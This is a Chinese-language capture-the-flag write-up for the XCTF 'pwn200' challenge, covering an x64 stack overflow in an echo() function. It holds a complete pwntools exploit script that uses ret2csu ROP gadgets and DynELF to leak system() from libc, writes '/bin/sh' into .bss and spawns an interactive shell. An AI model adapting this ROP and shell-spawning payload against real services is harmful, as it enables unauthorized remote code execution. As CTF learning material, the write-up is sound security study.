0x00:
XCTF开赛了,只看了pwn,这次还比较有意思,有x86 x64 arm mips 多种cpu构架的pwn。自己只搞出了pwn200
0x01:基本信息
x64 动态链接 有调试符号(怪不得是最简单的…)
开启的保护如图可以看到。
运行下,随便给点输入:
经过分析,发现问题出在echo()函数,而且这个bof的payload大概的格式:
1
| payload = "A"*24+"BBBBBB"+"\x00\x00"
|
0x02:思路
利用构造的ROP链先去 leak 远程服务器上libc里的system地址,然后利用ROP链再次把 "/bin/sh" 和system()地址 写入程序的.bss段,最后再次利用ROP链去执行 system("/bin/sh")
但是要注意:x64的函数调用 参数传递顺序是RDI RSI RDX RCX R8 R9之后的参数才用栈传递。
在IDA中看下:
我们可以利用 pwntools的 去得到程序中write()和read()这些系统调用的got,用来构造ROP。这时候要使用的是 通用型的ropgads,因为源程序中并没有一些辅助性的东西。
在初始化libc的时候,这些指令可以为我们所用来构造ROP,设置好参数。
因为也没有给libc,所以要leak libc中的函数地址,pwntools的dynELF很好用。
0x03:exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
|
from pwn import * elf = ELF('./pwn200') p=remote('127.0.0.1',6666)
addr1=0x40089A addr2=0x400880 main_addr = 0x4007CD ppppr=0x40089c bss_addr=0x601078 got_write = elf.got['write'] got_read = elf.got['read'] flag=True def leak(address): global flag junk = "A"*24 p1="" p1+=junk p1+=p64(ppppr) p1+=p64(addr1) p1+=p64(0)+p64(1)+p64(got_write)+p64(8)+p64(address)+p64(1) p1+=p64(addr2) p1+="\x00"*56 p1+=p64(main_addr) p.recvuntil('F\n') p.send(p1) if flag: data = p.recv(8) flag=False else: p.recv(0x1b) data = p.recv(8) print "%#x => %s" % (address, (data or '').encode('hex')) return data d = DynELF(leak, elf=ELF('./pwn200')) system_addr = d.lookup('system','libc') print "system_addr=" + hex(system_addr)
junk = "A"*24 payload="" payload+=junk payload+=p64(ppppr) payload+=p64(addr1) payload+=p64(0)+p64(1)+p64(got_read)+p64(24)+p64(bss_addr)+p64(0)
payload+=p64(addr2) payload+="\x00"*56 payload+=p64(main_addr) p.recvuntil('F\n') print "payload 1 ...."
p.send(payload) sleep(1) p.send("AAAABBBB") p.send("/bin/sh\0") p.send(p64(system_addr))
print "sent .."
sleep(1)
junk = "A"*24 payload2="" payload2+=junk payload2+=p64(ppppr) payload2+=p64(addr1) payload2+=p64(0)+p64(1)+p64(bss_addr+16)+p64(1)+p64(1)+p64(bss_addr+8)
payload2+=p64(addr2) payload2+="\x00"*56 payload2+=p64(main_addr) p.recvuntil('F\n')
print "payload 2 ...." p.send(payload2) print "ok get shell" p.interactive()
|
后来遇到个问题,exp打本地,或者是socket搭建起来的都可以打,但是远程服务器打不了。 - -# 尴尬
0x04:
算是学习了一波吧,有收获就是好的。